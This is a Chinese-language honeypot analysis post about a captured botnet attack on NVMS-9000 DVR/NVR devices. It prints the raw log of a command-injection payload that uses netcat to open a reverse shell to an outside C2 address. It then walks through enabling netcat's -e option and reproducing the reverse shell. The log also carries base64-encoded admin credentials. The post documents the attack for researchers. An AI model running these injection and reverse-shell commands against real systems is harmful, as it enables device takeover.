背景

前几天,我的蜜罐捕获到一个攻击,尝试使用nc创建反向shell,原始日志如下:

1
{
2
	"log_type": "post",
3
	"time": "Wed Oct 16 19:44:05 2019",
4
	"timestamp": "1571226245.683864",
5
	"src_ip": "24.10.133.43",
6
	"des_port": "81",
7
	"protocol": "HTTP/1.1",
8
	"path_info": "/editBlackAndWhiteList",
9
	"query_string": "",
10
	"user_agent": "ApiTool",
11
	"body": "<?xml version=\"1.0\" encoding=\"utf-8\"?><request version=\"1.0\" systemType=\"NVMS-9000\" clientType=\"WEB\"><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\"filterTypeMode\">refuse</filterType><filterList type=\"list\"><itemType><addressType type=\"addressType\"/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}93.174.93.178${IFS}31337${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>",
12
	"sensor_ip": "",
13
	"container_id": "datanode",
14
	"pot_version": "2019-09-26",
15
	"content_type": "text/xml",
16
	"HTTP_ACCEPT_ENCODING": "identity",
17
	"HTTP_ACCEPT_LANGUAGE": "en-us",
18
	"HTTP_HOST": "",
19
	"HTTP_ACCEPT": "*/*",
20
	"HTTP_USER_AGENT": "ApiTool",
21
	"HTTP_CONNECTION": "close",
22
	"HTTP_CACHE_CONTROL": "max-age=0",
23
	"HTTP_AUTHORIZATION": "Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0="
24
}

经查证,该漏洞出现在深圳市同为数码科技股份有限公司的DVR、NVR、IPC以及其他OEM厂商的设备中,漏洞及POC详见:github

我发现,不同于一般僵尸网络直接投递样本,其执行的指令如下:

1
nc 93.174.93.178 31337 -e $SHELL&

这其实是僵尸网络在后台开一个反向shell让肉鸡连接C2,为了验证该方式的可行性,我开始尝试复现该反向shell的过程,但是在复现的过程中发现,我虚拟机中的ubuntu,自带的nc -e指令并不能使用。

为什么nc -e无法使用

通常,ubuntu之类的linux发行版出于保护用户的安全,默认使用的是OpenBSD的netcat,该版本编译的nc并没有-e选项。查看自己的netcat版本:nc -h

默认版本
默认版本

那么应该如何解决使用上的限制呢?其实使用traditional版本的netcat即可。

traditional版本nc的安装和切换

安装traditional版本nc

1
sudo apt-get inastll netcat-traditional

切换nc版本

安装完成后,依然可以使用:nc -h查看版本,可以发现依然是OpenBSD版本的,此时需要切换版本。

1
sudo update-alternatives --config nc

之后根据提示,输入对应序号,选择traditional版本即可。

切换版本
切换版本

使用nc -h再次查看nc版本,发现已经支持-e选项了,注意dangerous!!标识。

traditional版本
traditional版本

反向shell验证过程

反向shell可以分为控制端和受控端,控制端即为监听端口的服务器,受控端即为主动连接服务器的客户端。

控制端

控制端监听端口即可:

1
nc -lvp 31337

受控端

受控端主动连接控制端,通过-e参数执行$SHELL环境变量(实际上对应的/bin/bash)。

1
nc xxx.xxx.xxx.xxx 31337 -e $SHELL

效果

受控端已经将自己的bash交给了控制端:

反向shell效果

最后

这是我第一次捕获到僵尸网络针对物联网设备尝试使用反向shell来扩大规模,这种方式可以有效的避免蜜罐捕获其样本,对其进行跟踪分析。这种新的感染方式,应该引起研究人员注意。